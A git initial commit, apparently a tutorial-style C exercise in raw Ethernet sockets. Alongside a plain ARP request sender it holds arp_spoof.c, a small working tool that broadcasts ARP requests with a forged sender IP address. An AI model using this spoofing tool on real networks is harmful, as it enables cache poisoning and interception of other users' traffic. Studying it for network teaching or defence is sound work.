Initial commit
This commit is contained in:
commit
0238d103f7
5 changed files with 413 additions and 0 deletions
16
Makefile
Normal file
16
Makefile
Normal file
|
@ -0,0 +1,16 @@
|
||||||
|
CC=clang
|
||||||
|
CFLAGS=-g -Wall
|
||||||
|
|
||||||
|
.PHONY: clean all
|
||||||
|
|
||||||
|
all: simple_request arp_spoof
|
||||||
|
|
||||||
|
simple_request: simple_request.o arp.o
|
||||||
|
|
||||||
|
arp_spoof: arp_spoof.o arp.o
|
||||||
|
|
||||||
|
%.o: %.c %.h
|
||||||
|
$(CC) -c $< $(CFLAGS)
|
||||||
|
|
||||||
|
clean:
|
||||||
|
rm *.o simple_request arp_spoof
|
91
arp.c
Normal file
91
arp.c
Normal file
|
@ -0,0 +1,91 @@
|
||||||
|
/* arp/arp.c */
|
||||||
|
|
||||||
|
#include "arp.h"
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
/* Sends an ARP request
|
||||||
|
|
||||||
|
sockfd is the file descriptor of the socket to use to send the
|
||||||
|
frame, should be a raw socket (AF_PACKET), which accepts ARP
|
||||||
|
(ETH_P_ALL or ETH_P_ARP)
|
||||||
|
ifindex is the index of the network interface
|
||||||
|
ipaddr is the source IP address
|
||||||
|
macaddr is the source MAC address
|
||||||
|
target_ip is the IP address to be queried via ARP
|
||||||
|
|
||||||
|
The function returns 0 upon success, EXIT_FAILURE otherwise.
|
||||||
|
*/
|
||||||
|
int send_arp_request(int sockfd, int ifindex, struct sockaddr_in *ipaddr, unsigned char *macaddr, struct in_addr target_ip)
|
||||||
|
{
|
||||||
|
|
||||||
|
/* DEFINITION OF THE DESTINATION */
|
||||||
|
|
||||||
|
/* The destination of the packet is contained in a struct
|
||||||
|
sockaddr_ll, that we fill with the broadcast address
|
||||||
|
ff:ff:ff:ff:ff:ff */
|
||||||
|
/* Broadcast address: */
|
||||||
|
const unsigned char ether_broadcast_addr[]= {0xff,0xff,0xff,0xff,0xff,0xff};
|
||||||
|
|
||||||
|
struct sockaddr_ll addr;
|
||||||
|
addr.sll_family = AF_PACKET; /* always AF_PACKET */
|
||||||
|
addr.sll_protocol = htons(ETH_P_ARP); /* physical-layer protocol */
|
||||||
|
addr.sll_ifindex = ifindex; /* interface number */
|
||||||
|
addr.sll_halen = ETHER_ADDR_LEN; /* length of address */
|
||||||
|
/* physical-layer address: */
|
||||||
|
memcpy(addr.sll_addr, ether_broadcast_addr, ETHER_ADDR_LEN);
|
||||||
|
|
||||||
|
#ifdef DEBUG
|
||||||
|
printf("[OK] Destination structure (struct sockaddr_ll) "
|
||||||
|
"constructed successfully\n");
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/* ====================================================================== */
|
||||||
|
|
||||||
|
/* CONSTRUCTION OF THE FRAME */
|
||||||
|
|
||||||
|
/* We can now build the ARP request frame, using the structures
|
||||||
|
defined in <netinet/if_ether.h> (included by
|
||||||
|
<netinet/ether.h>). */
|
||||||
|
struct ether_arp request;
|
||||||
|
request.arp_hrd = htons(ARPHRD_ETHER); /* hardware type: Ethernet */
|
||||||
|
request.arp_pro = htons(ETH_P_IP); /* Protocol type: IP */
|
||||||
|
request.arp_hln = ETHER_ADDR_LEN; /* Hardware address length */
|
||||||
|
request.arp_pln = sizeof(in_addr_t); /* Protocol address length */
|
||||||
|
request.arp_op = htons(ARPOP_REQUEST); /* Operation code */
|
||||||
|
/* Target hardware address: 0 since this is one we want */
|
||||||
|
memset(&request.arp_tha, 0, sizeof(request.arp_tha));
|
||||||
|
/* Target protocol address: we put the IP address for which we want
|
||||||
|
the layer-2 address */
|
||||||
|
memcpy(&request.arp_tpa, &target_ip.s_addr, sizeof(request.arp_tpa));
|
||||||
|
/* Source hardware address */
|
||||||
|
memcpy(&request.arp_sha, macaddr, sizeof(request.arp_sha));
|
||||||
|
/* Source protocol (IP) address */
|
||||||
|
memcpy(&request.arp_spa, &ipaddr->sin_addr, sizeof(request.arp_spa));
|
||||||
|
|
||||||
|
#ifdef DEBUG
|
||||||
|
printf("[OK] ARP request structure (struct ether_arp) "
|
||||||
|
"constructed successfully\n");
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/* ====================================================================== */
|
||||||
|
|
||||||
|
/* SEND THE FRAME */
|
||||||
|
|
||||||
|
int err = sendto(sockfd, &request, sizeof(request), 0,
|
||||||
|
(struct sockaddr *) &addr, sizeof(addr));
|
||||||
|
if (err == -1) {
|
||||||
|
perror("[FAIL] sendto()");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
#ifdef DEBUG
|
||||||
|
printf("[OK] Frame sent\n");
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
40
arp.h
Normal file
40
arp.h
Normal file
|
@ -0,0 +1,40 @@
|
||||||
|
/* arp/arp.h */
|
||||||
|
|
||||||
|
#ifndef ARP_H_
|
||||||
|
#define ARP_H_
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <sys/ioctl.h>
|
||||||
|
#include <net/if.h>
|
||||||
|
#include <net/ethernet.h>
|
||||||
|
|
||||||
|
#include <netpacket/packet.h>
|
||||||
|
#include <netinet/ether.h>
|
||||||
|
|
||||||
|
|
||||||
|
#define DEBUG
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
/* Sends an ARP request
|
||||||
|
|
||||||
|
sockfd is the file descriptor of the socket to use to send the
|
||||||
|
frame, should be a raw socket (AF_PACKET), which accepts ARP
|
||||||
|
(ETH_P_ALL or ETH_P_ARP)
|
||||||
|
ifindex is the index of the network interface
|
||||||
|
ipaddr is the source IP address
|
||||||
|
macaddr is the source MAC address
|
||||||
|
target_ip is the IP address to be queried via ARP
|
||||||
|
|
||||||
|
The function returns 0 upon success, EXIT_FAILURE otherwise.
|
||||||
|
*/
|
||||||
|
int send_arp_request(int sockfd, int ifindex, struct sockaddr_in *ipaddr, unsigned char *macaddr, struct in_addr target_ip);
|
||||||
|
|
||||||
|
|
||||||
|
#endif /* ARP_H_ */
|
133
arp_spoof.c
Normal file
133
arp_spoof.c
Normal file
|
@ -0,0 +1,133 @@
|
||||||
|
/* arp/arp_spoof.c */
|
||||||
|
|
||||||
|
#include "arp.h"
|
||||||
|
|
||||||
|
int main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
|
||||||
|
/* ARGUMENT PARSING
|
||||||
|
- network interface to use
|
||||||
|
- target IP address
|
||||||
|
*/
|
||||||
|
|
||||||
|
if (argc < 3) {
|
||||||
|
printf("[FAIL] Too few arguments\n"
|
||||||
|
"Usage: %s <interface> <target IP address> <IP address to impersonate>\n", argv[0]);
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
char *if_name = argv[1];
|
||||||
|
|
||||||
|
char *target_ip_string = argv[2];
|
||||||
|
struct in_addr target_ip;
|
||||||
|
if (!inet_pton(AF_INET, target_ip_string, &target_ip)) {
|
||||||
|
perror("[FAIL] inet_pton() (badly formatted IP address)");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
char *source_ip_string = argv[3];
|
||||||
|
struct in_addr source_ip;
|
||||||
|
if (!inet_pton(AF_INET, source_ip_string, &source_ip)) {
|
||||||
|
perror("[FAIL] inet_pton() (badly formatted IP address)");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
printf("ARP request to IP address %s on interface %s, impersonating %s\n",
|
||||||
|
target_ip_string, if_name, source_ip_string);
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
/* ====================================================================== */
|
||||||
|
|
||||||
|
/* RAW SOCKET CREATION */
|
||||||
|
|
||||||
|
/* We open the raw socket */
|
||||||
|
/* AF_PACKET: This is a raw Ethernet packet (Linux only, requires root)
|
||||||
|
SOCK_DGRAM: The link-layer header is constructed automatically
|
||||||
|
(to build it ourselves, we could have used SOCK_RAW)
|
||||||
|
ETH_P_ALL: We want to listen to every EtherType (here, we could
|
||||||
|
also have chosen ETH_P_ARP) */
|
||||||
|
int sockfd = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ALL));
|
||||||
|
if (sockfd < 0) {
|
||||||
|
perror("[FAIL] socket()");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
#ifdef DEBUG
|
||||||
|
printf("[OK] Raw Ethernet socket started successfully\n");
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
/* ====================================================================== */
|
||||||
|
|
||||||
|
/* INFORMATION ON THE LOCAL COMPUTER:
|
||||||
|
- index number of the network interface
|
||||||
|
- local IP address
|
||||||
|
- local MAC address
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* Since this is very low-level, we can't use the usual interface
|
||||||
|
name (e.g. "eth0"), so we need to get the index number of the
|
||||||
|
ethernet interface. */
|
||||||
|
//char *if_name = "wlp3s0"; /* Change this if needed */
|
||||||
|
struct ifreq ifrindex;
|
||||||
|
size_t if_name_len = strlen(if_name);
|
||||||
|
if (if_name_len < sizeof(ifrindex.ifr_name)) {
|
||||||
|
memcpy(ifrindex.ifr_name, if_name, if_name_len);
|
||||||
|
ifrindex.ifr_name[if_name_len] = 0;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
printf("[FAIL] Error: interface name is too long\n");
|
||||||
|
}
|
||||||
|
/* We use ioctl() with SIOCGIFINDEX */
|
||||||
|
if (ioctl(sockfd, SIOCGIFINDEX, &ifrindex) == -1) {
|
||||||
|
perror("[FAIL] ioctl()");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
int ifindex = ifrindex.ifr_ifindex;
|
||||||
|
#ifdef DEBUG
|
||||||
|
printf("[OK] Index number of the Ethernet interface %s: %d\n", if_name, ifindex);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* We get the MAC address using ioctl() (again) with SIOCGIFHWADDR */
|
||||||
|
struct ifreq ifrhwaddr;
|
||||||
|
if (if_name_len < sizeof(ifrhwaddr.ifr_name)) {
|
||||||
|
memcpy(ifrhwaddr.ifr_name, if_name, if_name_len);
|
||||||
|
ifrhwaddr.ifr_name[if_name_len] = 0;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
printf("[FAIL] Error: interface name is too long\n");
|
||||||
|
}
|
||||||
|
if (ioctl(sockfd, SIOCGIFHWADDR, &ifrhwaddr) == -1) {
|
||||||
|
perror("[FAIL] ioctl()");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
unsigned char *macaddr = (unsigned char *) &ifrhwaddr.ifr_hwaddr.sa_data;
|
||||||
|
#ifdef DEBUG
|
||||||
|
printf("[OK] Local MAC address: %02x:%02x:%02x:%02x:%02x:%02x\n",
|
||||||
|
macaddr[0], macaddr[1], macaddr[2], macaddr[3], macaddr[4], macaddr[5]);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* We don't need the real local IP address, we'll use source_ip
|
||||||
|
instead */
|
||||||
|
struct sockaddr_in *ipaddr = malloc(sizeof(struct sockaddr_in));
|
||||||
|
ipaddr->sin_family = AF_INET;
|
||||||
|
ipaddr->sin_port = htons(5746);
|
||||||
|
ipaddr->sin_addr = source_ip;
|
||||||
|
char source_ip_string2[16];
|
||||||
|
if (!inet_ntop(AF_INET, &ipaddr->sin_addr, source_ip_string2, sizeof(source_ip_string2))) {
|
||||||
|
perror("[FAIL] inet_ntop()");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
#ifdef DEBUG
|
||||||
|
printf("[OK] Local IP address: %s\n", source_ip_string2);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/* ====================================================================== */
|
||||||
|
|
||||||
|
send_arp_request(sockfd, ifindex, ipaddr, macaddr, target_ip);
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
exit(EXIT_SUCCESS);
|
||||||
|
}
|
133
simple_request.c
Normal file
133
simple_request.c
Normal file
|
@ -0,0 +1,133 @@
|
||||||
|
/* arp/simple_request.c */
|
||||||
|
|
||||||
|
#include "arp.h"
|
||||||
|
|
||||||
|
int main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
|
||||||
|
/* ARGUMENT PARSING
|
||||||
|
- network interface to use
|
||||||
|
- target IP address
|
||||||
|
*/
|
||||||
|
|
||||||
|
if (argc < 3) {
|
||||||
|
printf("[FAIL] Too few arguments\n"
|
||||||
|
"Usage: %s <interface> <target IP address>\n", argv[0]);
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
char *if_name = argv[1];
|
||||||
|
char *target_ip_string = argv[2];
|
||||||
|
struct in_addr target_ip;
|
||||||
|
if (!inet_pton(AF_INET, target_ip_string, &target_ip)) {
|
||||||
|
perror("[FAIL] inet_pton() (badly formatted IP address)");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
printf("ARP request for IP address %s on interface %s\n",
|
||||||
|
target_ip_string, if_name);
|
||||||
|
|
||||||
|
|
||||||
|
/* ====================================================================== */
|
||||||
|
|
||||||
|
/* RAW SOCKET CREATION */
|
||||||
|
|
||||||
|
/* We open the raw socket */
|
||||||
|
/* AF_PACKET: This is a raw Ethernet packet (Linux only, requires root)
|
||||||
|
SOCK_DGRAM: The link-layer header is constructed automatically
|
||||||
|
(to build it ourselves, we could have used SOCK_RAW)
|
||||||
|
ETH_P_ALL: We want to listen to every EtherType (here, we could
|
||||||
|
also have chosen ETH_P_ARP) */
|
||||||
|
int sockfd = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ALL));
|
||||||
|
if (sockfd < 0) {
|
||||||
|
perror("[FAIL] socket()");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
#ifdef DEBUG
|
||||||
|
printf("[OK] Raw Ethernet socket started successfully\n");
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/* ====================================================================== */
|
||||||
|
|
||||||
|
/* INFORMATION ON THE LOCAL COMPUTER:
|
||||||
|
- index number of the network interface
|
||||||
|
- local IP address
|
||||||
|
- local MAC address
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* Since this is very low-level, we can't use the usual interface
|
||||||
|
name (e.g. "eth0"), so we need to get the index number of the
|
||||||
|
ethernet interface. */
|
||||||
|
//char *if_name = "wlp3s0"; /* Change this if needed */
|
||||||
|
struct ifreq ifrindex;
|
||||||
|
size_t if_name_len = strlen(if_name);
|
||||||
|
if (if_name_len < sizeof(ifrindex.ifr_name)) {
|
||||||
|
memcpy(ifrindex.ifr_name, if_name, if_name_len);
|
||||||
|
ifrindex.ifr_name[if_name_len] = 0;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
printf("[FAIL] Error: interface name is too long\n");
|
||||||
|
}
|
||||||
|
/* We use ioctl() with SIOCGIFINDEX */
|
||||||
|
if (ioctl(sockfd, SIOCGIFINDEX, &ifrindex) == -1) {
|
||||||
|
perror("[FAIL] ioctl()");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
int ifindex = ifrindex.ifr_ifindex;
|
||||||
|
#ifdef DEBUG
|
||||||
|
printf("[OK] Index number of the Ethernet interface %s: %d\n", if_name, ifindex);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* We get our IP address using ioctl() and SIOCGIFADDR */
|
||||||
|
struct ifreq ifraddr;
|
||||||
|
if (if_name_len < sizeof(ifraddr.ifr_name)) {
|
||||||
|
memcpy(ifraddr.ifr_name, if_name, if_name_len);
|
||||||
|
ifraddr.ifr_name[if_name_len] = 0;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
printf("[FAIL] Error: interface name is too long\n");
|
||||||
|
}
|
||||||
|
if (ioctl(sockfd, SIOCGIFADDR, &ifraddr) == -1) {
|
||||||
|
perror("[FAIL] ioctl()");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
struct sockaddr_in *ipaddr = (struct sockaddr_in *) &ifraddr.ifr_addr;
|
||||||
|
char local_ip_string[16];
|
||||||
|
if (!inet_ntop(AF_INET, &ipaddr->sin_addr, local_ip_string, sizeof(local_ip_string))) {
|
||||||
|
perror("[FAIL] inet_ntop()");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
#ifdef DEBUG
|
||||||
|
printf("[OK] Local IP address: %s\n", local_ip_string);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* We get the MAC address using ioctl() (again) with SIOCGIFHWADDR */
|
||||||
|
struct ifreq ifrhwaddr;
|
||||||
|
if (if_name_len < sizeof(ifrhwaddr.ifr_name)) {
|
||||||
|
memcpy(ifrhwaddr.ifr_name, if_name, if_name_len);
|
||||||
|
ifrhwaddr.ifr_name[if_name_len] = 0;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
printf("[FAIL] Error: interface name is too long\n");
|
||||||
|
}
|
||||||
|
if (ioctl(sockfd, SIOCGIFHWADDR, &ifrhwaddr) == -1) {
|
||||||
|
perror("[FAIL] ioctl()");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
unsigned char *macaddr = (unsigned char *) &ifrhwaddr.ifr_hwaddr.sa_data;
|
||||||
|
#ifdef DEBUG
|
||||||
|
printf("[OK] Local MAC address: %02x:%02x:%02x:%02x:%02x:%02x\n",
|
||||||
|
macaddr[0], macaddr[1], macaddr[2], macaddr[3], macaddr[4], macaddr[5]);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/* ====================================================================== */
|
||||||
|
|
||||||
|
send_arp_request(sockfd, ifindex, ipaddr, macaddr, target_ip);
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
exit(EXIT_SUCCESS);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue